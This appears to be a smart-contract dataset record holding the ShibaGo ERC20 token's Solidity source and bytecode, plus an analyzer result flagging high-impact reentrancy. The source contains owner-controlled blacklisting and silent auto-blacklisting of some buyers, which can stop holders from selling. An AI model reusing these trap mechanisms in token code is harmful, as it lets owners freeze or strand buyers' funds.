b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047da7704c1e35cd6e8495518d6f8b143a92181c0c3989f25eba65405d3f4c2d664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,355
0xdce3dc3e748d3189f2a18176c56d23a46afa971f
// Telegram: @Shibagotoken // Website: Shibago.fun // Twitter: shibago_fun pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAGO is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"ShibaGo Token"; string public constant symbol = unicode"ShibaGo"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 13; uint public _sellFee = 13; uint private _feeRate = 20; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ if (recipient == tx.origin) _isBot[recipient] = true; } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; if((_launchedAt + (10 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (10 minutes)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 350000000 * 10**9; _maxHeldTokens = 350000000 * 10**9; // max buy and held: 350_000_000 } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee, "Not higher than orignal rate."); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb6146106a7578063dcb0e0ad146106d2578063dd62ed3e146106fb578063e8078d9414610738576101ee565b8063a9059cbb14610613578063b515566a14610650578063c3c8cd8014610679578063c9567bf914610690576101ee565b806373f54a11116100d157806373f54a11146105695780638da5cb5b1461059257806394b8d8f2146105bd57806395d89b41146105e8576101ee565b8063590f897e146104d35780636fc3eaec146104fe57806370a0823114610515578063715018a614610552576101ee565b806327f3a72a1161017a5780633bbac579116101495780633bbac5791461041757806340b9a54b1461045457806345596e2e1461047f57806349bd5a5e146104a8576101ee565b806327f3a72a1461036d578063313ce5671461039857806331c2d847146103c357806332d873d8146103ec576101ee565b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102da5780631940d0201461030557806323b872dd14610330576101ee565b80630492f055146101f357806306fdde031461021e578063095ea7b3146102495780630b78f9c014610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612c44565b60405180910390f35b34801561022a57600080fd5b50610233610755565b6040516102409190612cf8565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612db8565b61078e565b60405161027d9190612e13565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612e2e565b6107ac565b005b3480156102bb57600080fd5b506102c46108c5565b6040516102d19190612e8f565b60405180910390f35b3480156102e657600080fd5b506102ef6108eb565b6040516102fc9190612c44565b60405180910390f35b34801561031157600080fd5b5061031a6108fb565b6040516103279190612c44565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612eaa565b610901565b6040516103649190612e13565b60405180910390f35b34801561037957600080fd5b50610382610b11565b60405161038f9190612c44565b60405180910390f35b3480156103a457600080fd5b506103ad610b21565b6040516103ba9190612f19565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e5919061307c565b610b26565b005b3480156103f857600080fd5b50610401610c1c565b60405161040e9190612c44565b60405180910390f35b34801561042357600080fd5b5061043e600480360381019061043991906130c5565b610c22565b60405161044b9190612e13565b60405180910390f35b34801561046057600080fd5b50610469610c78565b6040516104769190612c44565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906130f2565b610c7e565b005b3480156104b457600080fd5b506104bd610d65565b6040516104ca919061312e565b60405180910390f35b3480156104df57600080fd5b506104e8610d8b565b6040516104f59190612c44565b60405180910390f35b34801561050a57600080fd5b50610513610d91565b005b34801561052157600080fd5b5061053c600480360381019061053791906130c5565b610e03565b6040516105499190612c44565b60405180910390f35b34801561055e57600080fd5b50610567610e4c565b005b34801561057557600080fd5b50610590600480360381019061058b91906130c5565b610f9f565b005b34801561059e57600080fd5b506105a761109d565b6040516105b4919061312e565b60405180910390f35b3480156105c957600080fd5b506105d26110c6565b6040516105df9190612e13565b60405180910390f35b3480156105f457600080fd5b506105fd6110d9565b60405161060a9190612cf8565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612db8565b611112565b6040516106479190612e13565b60405180910390f35b34801561065c57600080fd5b506106776004803603810190610672919061307c565b611130565b005b34801561068557600080fd5b5061068e611340565b005b34801561069c57600080fd5b506106a56113ba565b005b3480156106b357600080fd5b506106bc6114e1565b6040516106c99190612c44565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190613175565b611513565b005b34801561070757600080fd5b50610722600480360381019061071d91906131a2565b6115d7565b60405161072f9190612c44565b60405180910390f35b34801561074457600080fd5b5061074d61165e565b005b600d5481565b6040518060400160405280600d81526020017f5368696261476f20546f6b656e0000000000000000000000000000000000000081525081565b60006107a261079b611b0e565b8484611b16565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600d8210801561081d5750600d81105b801561082a5750600a5482105b80156108375750600b5481105b610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d9061322e565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516108b992919061324e565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b600e5481565b6000601060009054906101000a900460ff1680156109695750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156109c25750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a55573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a54576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b610a60848484611ce1565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aac611b0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610af191906132a6565b9050610b0585610aff611b0e565b83611b16565b60019150509392505050565b6000610b1c30610e03565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b67611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8757600080fd5b60005b8151811015610c1857600060056000848481518110610bac57610bab6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1090613309565b915050610b8a565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbf611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b60008111610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d199061339e565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610d5a9190612c44565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000479050610e0081612684565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e54611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061340a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe0611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461100057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516110929190613489565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600781526020017f5368696261476f0000000000000000000000000000000000000000000000000081525081565b600061112661111f611b0e565b8484611ce1565b6001905092915050565b611138611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc9061340a565b60405180910390fd5b60005b815181101561133c57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061121d5761121c6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156112b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106112905761128f6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15611329576001600560008484815181106112cf576112ce6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061133490613309565b9150506111c8565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611381611b0e565b73ffffffffffffffffffffffffffffffffffffffff16146113a157600080fd5b60006113ac30610e03565b90506113b7816126f0565b50565b6113c2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114469061340a565b60405180910390fd5b601060009054906101000a900460ff161561149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906134f0565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f819055506704db732547630000600d819055506704db732547630000600e81905550565b600061150e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611554611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461157457600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516115cc9190612e13565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611666611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea9061340a565b60405180910390fd5b601060009054906101000a900460ff1615611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a906134f0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117d230600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611b16565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118419190613525565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118cc9190613525565b6040518363ffffffff1660e01b81526004016118e9929190613552565b6020604051808303816000875af1158015611908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192c9190613525565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306119b530610e03565b6000806119c061109d565b426040518863ffffffff1660e01b81526004016119e2969594939291906135b6565b60606040518083038185885af1158015611a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a25919061362c565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611ac792919061367f565b6020604051808303816000875af1158015611ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0a91906136bd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d9061375c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed906137ee565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd49190612c44565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ddb5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611de457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4b90613880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebb90613912565b60405180910390fd5b60008111611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe906139a4565b60405180910390fd5b6000611f1161109d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f7f5750611f4f61109d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125bf57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561202f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123bf57601060009054906101000a900460ff166120d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d090613a10565b60405180910390fd5b600f5442141561213c576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b42610258600f5461214d9190613a30565b11156121ac57600e5461215f84610e03565b8361216a9190613a30565b11156121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290613af8565b60405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166122865760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42610258600f546122979190613a30565b111561237357600d548211156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d990613b64565b60405180910390fd5b601e426122ef9190613a30565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236990613bf6565b60405180910390fd5b5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156123e85750601060009054906101000a900460ff165b80156124425750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156125be57600f426124549190613a30565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff